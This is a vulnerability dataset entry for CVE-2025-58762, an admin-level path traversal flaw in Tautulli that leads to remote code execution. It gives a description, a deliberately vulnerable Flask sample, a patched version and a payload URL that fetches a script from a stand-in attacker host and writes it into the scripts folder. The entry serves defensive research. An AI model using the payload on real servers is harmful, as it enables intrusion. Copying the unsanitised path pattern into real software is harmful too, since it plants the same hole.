CVE-2025-58762
Admin RCE in Tautulli via arbitrary file write in the pms_image_proxy.
- CVSS 7.2
- CWE-73
- Input Validation and Sanitization
- Remote
Tautulli is a Python based monitoring and tracking tool for Plex Media Server. In Tautulli v2.15.3 and earlier, an attacker with administrative access can use the `pms_image_proxy` endpoint to write arbitrary python scripts into the application filesystem. This leads to remote code execution when combined with the `Script` notification agent. If an attacker with administrative access changes the URL of the PMS to a server they control, they can then abuse the `pms_image_proxy` to obtain a file write into the application filesystem. This can be done by making a `pms_image_proxy` request with a URL in the `img` parameter and the desired file name in the `img_format` parameter. Tautulli then uses a hash of the desired metadata together with the `img_format` in order to construct a file path. Since the attacker controls `img_format` which occupies the end of the file path, and `img_format` is not sanitised, the attacker can then use path traversal characters to specify filename of their choosing. If the specified file does not exist, Tautaulli will then attempt to fetch the image from the configured PMS. Since the attacker controls the PMS, they can return arbitrary content in response to this request, which will then be written into the specified file. An attacker can write an arbitrary python script into a location on the application file system. The attacker can then make use of the built-in `Script` notification agent to run the local script, obtaining remote code execution on the application server. Users should upgrade to version 2.16.0 to receive a patch.
- CWE
- CWE-73
- CVSS base score
- 7.2
- Published
- 2025-09-09
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Tautulli
- Fixed by upgrading
- Yes
Solution
Upgrade Tautulli to version 2.16.0 or later.
Vulnerable code sample
import os
import hashlib
import requests
from flask import Flask, request, abort
# This is a simplified representation of the vulnerable application logic.
# Assume this code runs in a directory structure like:
# /opt/Tautulli/
# - Tautulli.py (this app)
# - /cache/
# - /pms_image_proxy/
# - /scripts/
app = Flask(__name__)
# Assume the base path for Tautulli is /opt/Tautulli
TAUTULLI_PATH = '/opt/Tautulli'
CACHE_DIR = os.path.join(TAUTULLI_PATH, 'cache', 'pms_image_proxy')
@app.route('/pms_image_proxy')
def pms_image_proxy():
"""Vulnerable function that demonstrates the security issue."""
# Get parameters from the request URL
img_url = request.args.get('img')
img_format = request.args.get('img_format')
if not img_url or not img_format:
abort(400, "Missing 'img' or 'img_format' parameters.")
# Create a hash based on the image URL to use as part of the filename
image_hash = hashlib.md5(img_url.encode('utf-8')).hexdigest()
# Vulnerable part: Construct the filename and path without sanitizing img_format.
# An attacker can provide path traversal characters in 'img_format'.
# For example: 'jpg/../../scripts/malicious_script.py'
filename = f"{image_hash}.{img_format}"
# os.path.join will incorrectly resolve the path traversal characters,
# allowing the file to be written outside the intended cache directory.
full_path = os.path.join(CACHE_DIR, filename)
# Check if the "image" is already cached.
if not os.path.exists(full_path):
try:
# The attacker has set the PMS URL to a server they control.
# This request fetches arbitrary content (a python script) from the attacker's server.
response = requests.get(img_url, timeout=10)
response.raise_for_status()
# Ensure the directory for the file exists before writing.
# This is also exploitable as it creates the directories for the traversed path.
os.makedirs(os.path.dirname(full_path), exist_ok=True)
# Write the fetched content (the attacker's script) to the constructed path.
# The file is now written to, for example, /opt/Tautulli/scripts/malicious_script.py
with open(full_path, 'wb') as f:
f.write(response.content)
except requests.RequestException as e:
print(f"Error fetching image: {e}")
abort(500, "Failed to fetch remote image.")
except IOError as e:
print(f"Error writing file: {e}")
abort(500, "Failed to write image to cache.")
# The original function would then serve the file, but the primary
# vulnerability is the file write, which has already occurred.
return "Image processed.", 200
# Example of how an attacker would exploit this:
# 1. Attacker (with admin access) sets Tautulli's PMS URL to http://attacker.com
# 2. Attacker crafts a URL to Tautulli's pms_image_proxy endpoint:
# http://tautulli:8181/pms_image_proxy?img=http://attacker.com/payload.py&img_format=jpg/../../scripts/pwn.py
# 3. Tautulli receives the request.
# 4. It constructs the path: /opt/Tautulli/cache/pms_image_proxy/<md5_hash>.jpg/../../scripts/pwn.py
# This resolves to: /opt/Tautulli/scripts/pwn.py
# 5. The file doesn't exist, so Tautulli fetches http://attacker.com/payload.py
# 6. The content of payload.py (a malicious Python script) is written to /opt/Tautulli/scripts/pwn.py
# 7. Attacker uses the Script notification agent in Tautulli's UI to execute pwn.py, achieving RCE.Patched code sample
import re
import os
import hashlib
# The following code demonstrates the fix for CVE-2025-58762.
# The vulnerability existed because the 'img_format' parameter was used to
# construct a file path without proper sanitization, allowing for path traversal.
# An attacker could provide a value like '../../../some/path/script.py'
# to write a file outside the intended cache directory.
#
# The fix involves validating the 'img_format' parameter to ensure it only
# contains a safe set of characters, preventing any directory manipulation.
def process_image_request(img_url: str, img_format: str):
"""
A function representing the patched endpoint logic. It validates
the image format before using it to construct a file path.
Args:
img_url: The URL of the image to be processed.
img_format: The user-provided image format (e.g., 'jpg', 'png').
Returns:
A safe file path for the cached image.
Raises:
ValueError: If the img_format contains invalid characters.
"""
CACHE_DIRECTORY = "image_cache"
# --- THE FIX ---
# A regular expression is used to ensure the 'img_format' parameter is
# strictly alphanumeric. This prevents path traversal characters such as
# '.' (for '..'), '/', and '\'. If the format is invalid, the request
# is rejected.
if not re.match("^[a-zA-Z0-9]+$", img_format):
# In the actual web application, this would raise an HTTP 400 Bad Request error.
raise ValueError(f"Invalid image format provided: '{img_format}'. Path traversal characters are not allowed.")
# --- END OF FIX ---
# After validation, the sanitized 'img_format' is safely used to construct the file path.
# A hash of the URL is used for the base filename.
image_hash = hashlib.md5(img_url.encode('utf-8')).hexdigest()
safe_filename = f"{image_hash}.{img_format}"
# os.path.join correctly constructs the path, and since 'safe_filename'
# cannot contain path traversal elements, the final path is confined
# to the intended cache directory.
image_filepath = os.path.join(CACHE_DIRECTORY, safe_filename)
# The application would now proceed to fetch content from 'img_url'
# and write it to the 'image_filepath'.
# print(f"Safe operation: Caching image at {image_filepath}")
return image_filepathPayload
http://TAUTULLI_HOST:PORT/pms_image_proxy?img=http://ATTACKER_CONTROLLED_PMS/payload.py&img_format=../../../../../app/scripts/exploit.py
Cite this entry
@misc{vaitp:cve202558762,
title = {{Admin RCE in Tautulli via arbitrary file write in the pms_image_proxy.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-58762},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-58762/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
